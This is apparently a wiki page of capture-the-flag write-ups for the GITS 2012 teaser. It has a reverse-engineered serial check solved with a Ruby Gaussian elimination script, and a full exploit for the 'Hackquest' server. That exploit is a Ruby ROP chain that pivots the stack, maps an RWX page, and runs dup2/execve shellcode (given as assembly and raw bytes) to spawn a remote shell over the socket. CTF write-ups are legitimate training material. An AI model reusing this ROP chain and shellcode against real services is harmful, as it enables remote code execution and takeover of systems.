Gits2012teaser
From Fixme.ch
#1 TelAviv
What is the password? (File)
Hint: TeLaViv+ is a packet forensics challenge.
#2 AL's Revenge
- file 49dd327824d5afe9cdf931ea4b13719f.bin says xz compressed file -> xzcat > f
- file f says LLVM bitcode -> llvm-dis > f.s (only works with LLVM 2.8, not with 3.0)
- analyze disassembly, extract C representation:
int
VerifySerial(uint64_t name, uint64_t serial)
{
uint64_t a = 0x8000000000000000LL;
uint64_t b = 0xa348fccd93aea5a7LL;
uint64_t result = 0;
/* high order bit set? */
if (name & a)
a ^= b;
if (serial & a)
serial ^= b;
while (serial != 0) {
if (serial & 1)
result ^= name;
serial >>= 1;
name <<= 1;
if (name & a)
name ^= b;
}H
return (result == 1);
}
- it looks like a multiplication over a galois field, with the irreducible polynomial 0x1a348fccd93aea5a7 (note leading bit not in C), but it actually isn't, because the high bit gets checked after the shift, not before.
- lacking math knowledge and math package fu, decided to treat the problem as a linear equation system:
- The shifting and xoring produces a set of integers, call them name_i. If the serial bit s_i is set, name_i gets added to the result. So you can roughly say r = N * s, with r being the result vector, s the serial vector and N the names matrix.
- lacking math package fu, implement a gaussian elimination manually:
class Numeric
def bits64
sprintf("%064b", self).each_char.map{|c| c == "0" ? 0 : 1}
end
end
def names(name)
p = 0xa348fccd93aea5a7
if (name >> 63) & 1 == 1
name ^= p
end
([name] + 63.times.map do |i|
name <<= 1
if (name >> 63) & 1 == 1
name ^= p
end
name
end).map(&:bits64)
end
class Array
def pivot
res = []
self[0].size.times.map do |i|
self.size.times.map do |j|
self[j][i]
end
end
end
def bitary_to_int
self.join.to_i(2)
end
end
class Eq < Array
attr_accessor :res
def initialize(ary, res)
self.replace(ary)
@res = res
end
def lead_zero
self.take_while{|e| e == 0}
end
def first_pos
self.index(1)
end
def subtract(o)
Eq.new(self.zip(o).map{|aa, bb| aa ^ bb}, @res ^ o.res)
end
end
class EqSys < Array
def initialize(ary, res=nil)
if !(Eq === ary[0]) && !ary.empty?
ary = ary.zip(res).map{|a, r| Eq.new(a, r)}
end
self.replace(ary)
end
def sort_by_zeros
self.sort do |a, b|
a.lead_zero <=> b.lead_zero
end
end
def subtract_eq(eq)
pos = eq.first_pos
return self if not pos
EqSys.new(self.map{|e| e[pos] == 1 ? e.subtract(eq) : e})
end
def elim
front = EqSys.new([])
cur = nil
rest = self.sort_by_zeros
while not rest.empty?
front << cur if cur
cur = rest.shift
front = front.subtract_eq(cur)
rest = rest.subtract_eq(cur)
rest = rest.sort_by_zeros
end
front << cur
front
end
def to_s
self.map{|e| e.map(&:to_s).join + " = #{e.res}"}.join("\n")
end
end
require 'pp'
if __FILE__ == $0
ns = names(0x6638623261336134)
pv = ns.pivot
es = EqSys.new(pv, 1.bits64)
puts es.to_s
puts
r = es.elim
puts r.to_s
res = r.map{|e| e.res}.reverse
puts res.bitary_to_int.to_s(16)
s0 = r.pivot.last.reverse
puts s0.bitary_to_int.to_s(16)
puts (res.bitary_to_int^s0.bitary_to_int).to_s(16)
end
#3 Hackquest
- Remote system running some sort of text adventure.
- Hint dropped source code partially (extremely helpful)
- Hint from irc: look at the items
- struct ItemInfo contains a union:
union
{
void* data;
LocationInfo* newLocation;
struct ItemInfo* newItem;
struct
{
ActionInfo* actionInfo;
char* requiredTarget;
} action;
struct
{
char* name;
struct ItemInfo* newItem;
} namedUnwrap;
} info;
- magical item:
{"a", "letter addressed to %s", "...", NULL, ITEM_NAMED_UNWRAP, {.namedUnwrap = {name, &passwordItem}}}, {NULL, NULL, NULL, NULL, 0, {NULL}}
- use() has an insufficient test:
if ((item->type == ITEM_PERFORM_ACTION) || (item->type == ITEM_MOVE_TO_LOCATION) ||
(item->type == ITEM_UNWRAP))
{
sendMsg(s, "That item can't have a target.\n");
ok = false;
}
else if (!strcasecmp(item->info.action.requiredTarget, target))
{
sendMsg(s, item->message);
item->info.action.actionInfo->func(s);
showDesc = item->info.action.actionInfo->showDesc;
}
- if we "use letter on $target", we can make it call ->func()
- .requiredTarget aliases with .newItem, which in turn contains a set of pointers, all static -> $target is known
- ->func aliases with .name
- the game asks us for our name, and stores this into a 31 byte static buffer
- whatever we use as name will be used as function address to be called -> we captured control flow
- ROP ensues:
- first gadged: pivot stack pointer to area we control (the 256 byte cmd buffer in handleConnection)
- then mmap an anonymous page RWX to a fixed location -> memory we can write to and run code from, we choose the offset
- our data is on the stack, which is likely on a random offset -> need to move data from stack buffer to page
- work around this problem by putting bootstrap shellcode into the static name buffer (see above)
- bootstrap code copies stack-relative buffer to our page, then transfers control:
leal 0x41(%esp),%esi # calc source from stack offset popl %edi # dest addr is already on stack pushl $0x41 # dest offset so that we don't get overwritten popl %ecx # duplicates as length addl %ecx,%edi # add offset push %edi # store dest for later rep movsl # copy popl %edi # retrieve old dest jmp *%edi # jump there
- remaining shell code takes socket fd from fixed stack offset and dup2()s to 0, 1, 2, then spawns /bin/sh:
pushl %ecx # ecx was cleared by rep above, put 0 on stack
movl 0xAB(%esp),%ebx # get socket fd from stack offset
1:
pushl $0x3f # dup2 syscall number
popl %eax # into eax
int $0x80 # do syscall
inc %ecx # inc desc2
cmp $0x3,%cl # do for 0, 1, 2
jne 1b # repeat
popl %ecx # zero ecx = argv
mull %ecx # zero eax, edx = env
pushl $0x0068732f # /sh\0
pushl $0x6e69622f # /bin
movl %esp,%ebx # string arg
movb $0xb,%al # execve syscall number
int $0x80 # magic!
- cat key.txt
- all combined, use as (ruby h.rb; cat) | nc host 7331
addr = 0x60606000 # our page address
src = 0x804c2a0 # from 0x80498f4
sockoffset = 0xbc
p = [
# offset 0
"use letter on ",
# offset 14
0x804a22e, 0x804a2bc, 0x804a2de, 0x804c20c, [0x02, 0x00],
# offset 31
" " * (0x44 - 32), # fill
# offset 0x44
0x80486d4, # C mmap
0x8048db5, # L add $0x1c,%esp | ret
addr, # (void *addr,
4096, # size_t len,
1 | 2 | 4, # int prot = PROT_READ | PROT_WRITE | PROT_EXEC,
0x10 | 0x02 | 0x20, # int flags = MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS,
0, # int filedes,
0, # off_t off)
0, # filler, also possibly offset
0x80487d4, # C memcpy
addr, # L addr = shellcode
addr, # (void *dest,
src + 4, # const void *src,
200, # size_t n).
[
0x51, # pushl %ecx # ecx was cleared by rep above, put 0 on stack
0x8b, 0x9c, 0x24], sockoffset, # movl XXX(%esp),%ebx # get socket fd from stack offset
[0x6a, 0x3f, # 1: pushl $0x3f # dup2 syscall number
0x58, # popl %eax # into eax
0xcd, 0x80, # int $0x80 # do syscall
0x41, # inc %ecx # inc desc2
0x80, 0xf9, 0x03, # cmp $0x3,%cl # do for 0, 1, 2
0x75, 0xf5, # jne 1b # repeat
0x59, # popl %ecx # zero ecx = argv
0xf7, 0xe1, # mull %ecx # zero eax, edx = env
0x68, 0x2f, 0x73, 0x68, 0x00, # pushl 0x0068732f # /sh\0
0x68, 0x2f, 0x62, 0x69, 0x6e, # pushl 0x6e69622f # /bin
0x89, 0xe3, # movl %esp,%ebx # string arg
0xb0, 0x0b, # movb $0xb,%al # execve syscall number
0xcd, 0x80 # int $0x80 # magic!
]
]
shellcode = 0xc
# this lives at src
namelen = 20
name = [
# stack pivot
0x08049019, # add $0x9c,%esp | ret
# bootstrap shellcode
[
0x8d, 0x74, 0x24, shellcode, # leal XXX(%esp),%esi
0x5f, # popl %edi
0x6a, namelen, # pushl $XXX
0x59, # popl %ecx
0x01, 0xcf, # addl %ecx,%edi
0x57, # push %edi
0xf3, 0xa5, # rep movsl
0x5f, # popl %edi
0xff, 0xe7, # jmp *%edi
],
]
all = name +
[
"\n",
"get can\n",
"use can\n",
"go south\n",
"get letter\n",
] +
p + ["\n"]
def collapse(a)
a.map do |e|
case e
when Numeric
[e].pack("V")
when Array
e.pack('C*')
else
e.to_s
end
end.join
end
if __FILE__ == $0
cp = collapse(all)
# puts cp.size
print cp
end